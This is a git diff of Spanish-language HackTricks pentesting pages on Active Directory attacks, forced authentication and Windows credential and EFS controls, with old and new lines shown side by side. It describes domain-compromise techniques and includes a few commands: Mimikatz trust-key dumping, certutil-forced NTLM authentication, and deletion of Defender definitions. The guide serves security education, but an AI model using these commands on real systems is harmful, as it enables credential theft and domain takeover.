Para esta fase necesitas haber **comprometido las credenciales o una sesión de una cuenta de dominio válida.** Si tienes algunas credenciales válidas o una shell como usuario de dominio, **deberías recordar que las opciones dadas antes siguen siendo opciones para comprometer a otros usuarios**.
Para esta fase necesitas haber **comprometido las credenciales o una sesión de una cuenta de dominio válida.** Si tienes algunas credenciales válidas o una shell como usuario de dominio, **debes recordar que las opciones dadas antes siguen siendo opciones para comprometer a otros usuarios**.
Antes de comenzar la enumeración autenticada, deberías saber cuál es el **problema del doble salto de Kerberos.**
@ -223,7 +223,7 @@ Si puedes **acceder a otras PC o recursos compartidos**, podrías **colocar arch
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
Esta vulnerabilidad permitió que cualquier usuario autenticado **comprometiera el controlador de dominio**.
Esta vulnerabilidad permitió a cualquier usuario autenticado **comprometer el controlador de dominio**.
{{#ref}}
printnightmare.md
@ -235,7 +235,7 @@ printnightmare.md
### Extracción de Hash
Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/).\
Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo el relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/).\
Luego, es hora de volcar todos los hashes en memoria y localmente.\
[**Lee esta página sobre diferentes formas de obtener los hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
@ -247,7 +247,7 @@ Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM u
### Over Pasar el Hash/Pasar la Clave
Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo **Kerberos está permitido** como protocolo de autenticación.
Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo se **permite Kerberos** como protocolo de autenticación.
{{#ref}}
over-pass-the-hash-pass-the-key.md
@ -435,7 +435,7 @@ ad-certificates/domain-persistence.md
### Grupo AdminSDHolder
El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no autorizado a menos que se supervise de cerca.
El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para dar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no autorizado a menos que se supervise de cerca.
[**Más información sobre el Grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
@ -457,7 +457,7 @@ acl-persistence-abuse/
### Descriptores de Seguridad
Los **descriptores de seguridad** se utilizan para **almacenar** los **permisos** que un **objeto** tiene **sobre** un **objeto**. Si puedes **hacer** un **pequeño cambio** en el **descriptor de seguridad** de un objeto, puedes obtener privilegios muy interesantes sobre ese objeto sin necesidad de ser miembro de un grupo privilegiado.
Los **descriptores de seguridad** se utilizan para **almacenar** los **permisos** que un **objeto** tiene **sobre** otro **objeto**. Si puedes **hacer** un **pequeño cambio** en el **descriptor de seguridad** de un objeto, puedes obtener privilegios muy interesantes sobre ese objeto sin necesidad de ser miembro de un grupo privilegiado.
{{#ref}}
security-descriptors.md
@ -504,7 +504,7 @@ Microsoft ve el **Bosque** como el límite de seguridad. Esto implica que **comp
### Información Básica
Una [**confianza de dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen **claves** específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza.
Una [**confianza de dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen claves específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza.
En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. Luego, el usuario presenta este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio confiable, emite un TGS, otorgando al usuario acceso al servicio.
@ -514,7 +514,7 @@ En un escenario típico, si un usuario pretende acceder a un servicio en un **do
2. DC1 emite un nuevo TGT si el cliente se autentica con éxito.
3. El cliente luego solicita un **TGT inter-realm** de DC1, que es necesario para acceder a recursos en **Dominio 2**.
4. El TGT inter-realm está cifrado con una **clave de confianza** compartida entre DC1 y DC2 como parte de la confianza de dominio bidireccional.
5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2)** de Dominio 2.
5. El cliente lleva el TGT inter-realm al **Controlador de Dominio (DC2) de Dominio 2**.
6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en Dominio 2 al que el cliente desea acceder.
7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en Dominio 2.
@ -526,19 +526,19 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con
**Diferentes relaciones de confianza**
- **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza transitoria bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo.
- **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza transitiva bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo.
- **Confianzas de Enlace Cruzado**: Conocidas como "confianzas de acceso directo", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación generalmente tienen que viajar hasta la raíz del bosque y luego hacia abajo hasta el dominio objetivo. Al crear enlaces cruzados, el viaje se acorta, lo que es especialmente beneficioso en entornos geográficamente dispersos.
- **Confianzas Externas**: Estas se establecen entre diferentes dominios no relacionados y son no transitivas por naturaleza. Según [la documentación de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), las confianzas externas son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una confianza de bosque. La seguridad se refuerza a través del filtrado de SID con confianzas externas.
- **Confianzas de Raíz de Árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y una nueva raíz de árbol añadida. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Confianzas de Bosque**: Este tipo de confianza es una confianza transitoria bidireccional entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad.
- **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) y no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows.
- **Confianzas de Bosque**: Este tipo de confianza es una confianza transitiva bidireccional entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad.
- **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) que no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows.
#### Otras diferencias en **relaciones de confianza**
- Una relación de confianza también puede ser **transitiva** (A confía en B, B confía en C, entonces A confía en C) o **no transitiva**.
- Una relación de confianza puede configurarse como **confianza bidireccional** (ambos confían entre sí) o como **confianza unidireccional** (solo uno de ellos confía en el otro).
### Ruta de Ataque
### Ruta de ataque
1. **Enumerar** las relaciones de confianza
2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza se creó probablemente para esto).
@ -551,7 +551,7 @@ Los atacantes podrían acceder a recursos en otro dominio a través de tres meca
- **Membresía en Grupos de Dominio Extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo.
- **Listas de Control de Acceso (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.
### Escalación de privilegios de bosque de hijo a padre
### Escalación de privilegios de hijo a padre en el bosque
```
Get-DomainTrust
@ -565,7 +565,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
```
> [!WARNING]
> Hay **2 claves de confianza**, una para _Child --> Parent_ y otra para _Parent_ --> _Child_.\
> Puedes usar la que utiliza el dominio actual con:
> Puedes usar la que se utiliza en el dominio actual con:
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -582,7 +582,7 @@ sid-history-injection.md
#### Explotar NC de Configuración escribible
Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo.
Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en un bosque en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo.
**Vincular GPO al sitio raíz de DC**
@ -606,7 +606,7 @@ Lectura adicional está disponible sobre [Schema Change Trust Attacks](https://i
La vulnerabilidad ADCS ESC5 apunta al control sobre objetos de Infraestructura de Clave Pública (PKI) para crear una plantilla de certificado que permite la autenticación como cualquier usuario dentro del bosque. Dado que los objetos PKI residen en el NC de Configuración, comprometer un DC hijo escribible permite la ejecución de ataques ESC5.
Más detalles sobre esto se pueden leer en [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). En escenarios sin ADCS, el atacante tiene la capacidad de configurar los componentes necesarios, como se discute en [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
Más detalles sobre esto se pueden leer en [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). En escenarios que carecen de ADCS, el atacante tiene la capacidad de configurar los componentes necesarios, como se discute en [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### Dominio de Bosque Externo - Unidireccional (Entrante) o bidireccional
```powershell
@ -670,7 +670,9 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## Algunas Defensas Generales

12
src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
View File

@ -45,13 +45,15 @@ Si un atacante ya ha comprometido una computadora con [Delegación No Restringid
## Autenticación Forzada RCP
{% embed url="https://github.com/p0dalirius/Coercer" %}
{{#ref}}
https://github.com/p0dalirius/Coercer
{{#endref}}
## PrivExchange
El ataque `PrivExchange` es el resultado de un defecto encontrado en la **función `PushSubscription` del Exchange Server**. Esta función permite que el servidor de Exchange sea forzado por cualquier usuario de dominio con un buzón para autenticarse en cualquier host proporcionado por el cliente a través de HTTP.
Por defecto, el **servicio de Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este defecto puede ser explotado para habilitar el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde el reenvío a LDAP no es posible, este defecto aún puede ser utilizado para reenviar y autenticarse en otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada.
Por defecto, el **servicio de Exchange se ejecuta como SYSTEM** y se le otorgan privilegios excesivos (específicamente, tiene **privilegios WriteDacl en el dominio antes de la Actualización Acumulativa de 2019**). Este defecto puede ser explotado para habilitar el **reenvío de información a LDAP y posteriormente extraer la base de datos NTDS del dominio**. En casos donde el reenvío a LDAP no es posible, este defecto aún puede ser utilizado para reenviar y autenticar a otros hosts dentro del dominio. La explotación exitosa de este ataque otorga acceso inmediato al Administrador de Dominio con cualquier cuenta de usuario de dominio autenticada.
## Dentro de Windows
@ -80,7 +82,7 @@ O utiliza esta otra técnica: [https://github.com/p0dalirius/MSSQL-Analysis-Coer
### Certutil
Es posible utilizar certutil.exe lolbin (binario firmado por Microsoft) para forzar la autenticación NTLM:
Es posible usar certutil.exe lolbin (binario firmado por Microsoft) para forzar la autenticación NTLM:
```bash
certutil.exe -syncwithWU \\127.0.0.1\share
```
@ -102,7 +104,7 @@ Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una pági
```
## Cracking NTLMv1
Si puedes capturar [los desafíos NTLMv1 lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
&#xNAN;_&#x52;ecuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder en "1122334455667788"_
Si puedes capturar [los desafíos de NTLMv1 lee aquí cómo crackearlos](../ntlm/#ntlmv1-attack).\
&#xNAN;_&#x52;ecuerda que para crackear NTLMv1 necesitas establecer el desafío de Responder a "1122334455667788"_
{{#include ../../banners/hacktricks-training.md}}

33
src/windows-hardening/authentication-credentials-uac-and-efs.md
View File

@ -37,7 +37,7 @@ C:\windows\tracing
- **Las reglas mal escritas también podrían ser eludidas**
- Por ejemplo, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, puedes crear una **carpeta llamada `allowed`** en cualquier lugar y será permitida.
- Las organizaciones también suelen centrarse en **bloquear el ejecutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, pero se olvidan de las **otras** [**ubicaciones de ejecutables de PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` o `PowerShell_ISE.exe`.
- **La imposición de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**.
- **La aplicación de DLL rara vez está habilitada** debido a la carga adicional que puede poner en un sistema y la cantidad de pruebas requeridas para asegurar que nada se rompa. Así que usar **DLLs como puertas traseras ayudará a eludir AppLocker**.
- Puedes usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) o [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **ejecutar código de Powershell** en cualquier proceso y eludir AppLocker. Para más información consulta: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
## Almacenamiento de Credenciales
@ -101,9 +101,9 @@ sc query windefend
#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
## Sistema de Archivos Encriptado (EFS)
## Encrypted File System (EFS)
EFS asegura archivos a través de la encriptación, utilizando una **clave simétrica** conocida como la **Clave de Encriptación de Archivos (FEK)**. Esta clave se encripta con la **clave pública** del usuario y se almacena dentro del **flujo de datos alternativo** $EFS del archivo encriptado. Cuando se necesita la desencriptación, se utiliza la **clave privada** correspondiente del certificado digital del usuario para desencriptar la FEK del flujo $EFS. Más detalles se pueden encontrar [aquí](https://en.wikipedia.org/wiki/Encrypting_File_System).
EFS asegura archivos a través de la encriptación, utilizando una **clave simétrica** conocida como la **Clave de Encriptación de Archivos (FEK)**. Esta clave se encripta con la **clave pública** del usuario y se almacena dentro del $EFS **flujo de datos alternativo** del archivo encriptado. Cuando se necesita la desencriptación, se utiliza la **clave privada** correspondiente del certificado digital del usuario para desencriptar la FEK del flujo $EFS. Más detalles se pueden encontrar [aquí](https://en.wikipedia.org/wiki/Encrypting_File_System).
**Escenarios de desencriptación sin iniciación del usuario** incluyen:
@ -121,10 +121,10 @@ Este método de encriptación permite **acceso transparente** a archivos encript
### Verificar información de EFS
Verifique si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Verifica si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Verifique **quién** tiene **acceso** al archivo usando cipher /c \<file>\
También puede usar `cipher /e` y `cipher /d` dentro de una carpeta para **encriptar** y **desencriptar** todos los archivos
Verifica **quién** tiene **acceso** al archivo usando cipher /c \<file>\
También puedes usar `cipher /e` y `cipher /d` dentro de una carpeta para **encriptar** y **desencriptar** todos los archivos
### Desencriptando archivos EFS
@ -134,19 +134,21 @@ Este método requiere que el **usuario víctima** esté **ejecutando** un **proc
#### Conociendo la contraseña del usuario
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Cuentas de Servicio Administradas por Grupo (gMSA)
## Group Managed Service Accounts (gMSA)
Microsoft desarrolló **Cuentas de Servicio Administradas por Grupo (gMSA)** para simplificar la gestión de cuentas de servicio en infraestructuras de TI. A diferencia de las cuentas de servicio tradicionales que a menudo tienen habilitada la configuración de "**La contraseña nunca expira**", las gMSA ofrecen una solución más segura y manejable:
Microsoft desarrolló **Group Managed Service Accounts (gMSA)** para simplificar la gestión de cuentas de servicio en infraestructuras de TI. A diferencia de las cuentas de servicio tradicionales que a menudo tienen habilitada la configuración de "**La contraseña nunca expira**", los gMSA ofrecen una solución más segura y manejable:
- **Gestión Automática de Contraseñas**: las gMSA utilizan una contraseña compleja de 240 caracteres que cambia automáticamente de acuerdo con la política de dominio o computadora. Este proceso es manejado por el Servicio de Distribución de Claves (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseñas.
- **Gestión Automática de Contraseñas**: los gMSA utilizan una contraseña compleja de 240 caracteres que cambia automáticamente de acuerdo con la política de dominio o computadora. Este proceso es manejado por el Servicio de Distribución de Claves (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseñas.
- **Seguridad Mejorada**: estas cuentas son inmunes a bloqueos y no pueden ser utilizadas para inicios de sesión interactivos, mejorando su seguridad.
- **Soporte para Múltiples Hosts**: las gMSA pueden ser compartidas entre múltiples hosts, lo que las hace ideales para servicios que se ejecutan en múltiples servidores.
- **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, las gMSA soportan la ejecución de tareas programadas.
- **Soporte para Múltiples Hosts**: los gMSA pueden ser compartidos entre múltiples hosts, lo que los hace ideales para servicios que se ejecutan en múltiples servidores.
- **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA soportan la ejecución de tareas programadas.
- **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount de la computadora o en el nombre DNS, simplificando la gestión de SPN.
Las contraseñas para gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DC). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instaladas las gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe estar autenticada con 'Sealing & Secure'.
Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DC). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe estar autenticada con 'Sealing & Secure'.
![https://cube0x0.github.io/Relaying-for-gMSA/](../images/asd1.png)
@ -160,7 +162,7 @@ Además, consulta esta [página web](https://cube0x0.github.io/Relaying-for-gMSA
## LAPS
La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para descargar desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite la gestión de contraseñas de Administrador local. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma central en Active Directory. El acceso a estas contraseñas está restringido a través de ACLs a usuarios autorizados. Con los permisos suficientes otorgados, se proporciona la capacidad de leer las contraseñas de administrador local.
La **Solución de Contraseña de Administrador Local (LAPS)**, disponible para descargar desde [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite la gestión de contraseñas de Administrador local. Estas contraseñas, que son **aleatorias**, únicas y **cambiadas regularmente**, se almacenan de forma centralizada en Active Directory. El acceso a estas contraseñas está restringido a través de ACLs a usuarios autorizados. Con los permisos suficientes otorgados, se proporciona la capacidad de leer las contraseñas de administrador local.
{{#ref}}
active-directory-methodology/laps.md
@ -181,7 +183,7 @@ $ExecutionContext.SessionState.LanguageMode
Powershell -version 2
```
En Windows actual, ese bypass no funcionará, pero puedes usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Examinar_ -> _Examinar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**.
**Para compilarlo, es posible que necesites** **_Agregar una Referencia_** -> _Explorar_ -> _Explorar_ -> agregar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` y **cambiar el proyecto a .Net4.5**.
#### Bypass directo:
```bash
@ -246,5 +248,4 @@ El SSPI se encargará de encontrar el protocolo adecuado para dos máquinas que
windows-security-controls/uac-user-account-control.md
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

20
src/windows-hardening/authentication-credentials-uac-and-efs/README.md
View File

@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Esta ruta del registro contiene las configuraciones y políticas aplicadas por AppLocker, proporcionando una forma de revisar el conjunto actual de reglas aplicadas en el sistema:
Esta ruta del registro contiene las configuraciones y políticas aplicadas por AppLocker, proporcionando una forma de revisar el conjunto actual de reglas impuestas en el sistema:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
@ -61,7 +61,7 @@ LSA podría guardar en disco algunas credenciales:
- Contraseña de la cuenta de computadora del Active Directory (controlador de dominio inaccesible).
- Contraseñas de las cuentas de servicios de Windows.
- Contraseñas para tareas programadas.
- Más (contraseña de aplicaciones de IIS...)
- Más (contraseña de aplicaciones IIS...)
### NTDS.dit
@ -119,12 +119,12 @@ Este método de encriptación permite **acceso transparente** a archivos encript
- La desencriptación automática ocurre bajo condiciones específicas, como copiar a FAT32 o transmisión por red.
- Los archivos encriptados son accesibles para el propietario sin pasos adicionales.
### Ver información de EFS
### Verificar información de EFS
Verifica si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Verifique si un **usuario** ha **utilizado** este **servicio** comprobando si existe esta ruta: `C:\users\<username>\appdata\roaming\Microsoft\Protect`
Verifica **quién** tiene **acceso** al archivo usando cipher /c \<file>\
También puedes usar `cipher /e` y `cipher /d` dentro de una carpeta para **encriptar** y **desencriptar** todos los archivos
Verifique **quién** tiene **acceso** al archivo usando cipher /c \<file>\
También puede usar `cipher /e` y `cipher /d` dentro de una carpeta para **encriptar** y **desencriptar** todos los archivos
### Desencriptando archivos EFS
@ -134,7 +134,9 @@ Este método requiere que el **usuario víctima** esté **ejecutando** un **proc
#### Conociendo la contraseña del usuario
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
{{#ref}}
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
{{#endref}}
## Group Managed Service Accounts (gMSA)
@ -143,10 +145,10 @@ Microsoft desarrolló **Group Managed Service Accounts (gMSA)** para simplificar
- **Gestión Automática de Contraseñas**: los gMSA utilizan una contraseña compleja de 240 caracteres que cambia automáticamente de acuerdo con la política de dominio o computadora. Este proceso es manejado por el Servicio de Distribución de Claves (KDC) de Microsoft, eliminando la necesidad de actualizaciones manuales de contraseñas.
- **Seguridad Mejorada**: estas cuentas son inmunes a bloqueos y no pueden ser utilizadas para inicios de sesión interactivos, mejorando su seguridad.
- **Soporte para Múltiples Hosts**: los gMSA pueden ser compartidos entre múltiples hosts, lo que los hace ideales para servicios que se ejecutan en múltiples servidores.
- **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA soportan la ejecución de tareas programadas.
- **Capacidad de Tareas Programadas**: a diferencia de las cuentas de servicio administradas, los gMSA admiten la ejecución de tareas programadas.
- **Gestión Simplificada de SPN**: el sistema actualiza automáticamente el Nombre Principal del Servicio (SPN) cuando hay cambios en los detalles de sAMaccount de la computadora o en el nombre DNS, simplificando la gestión de SPN.
Las contraseñas para los gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DCs). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe ser autenticada con 'Sealing & Secure'.
Las contraseñas para gMSA se almacenan en la propiedad LDAP _**msDS-ManagedPassword**_ y se restablecen automáticamente cada 30 días por los Controladores de Dominio (DC). Esta contraseña, un blob de datos encriptados conocido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), solo puede ser recuperada por administradores autorizados y los servidores en los que están instalados los gMSA, asegurando un entorno seguro. Para acceder a esta información, se requiere una conexión segura como LDAPS, o la conexión debe estar autenticada con 'Sealing & Secure'.
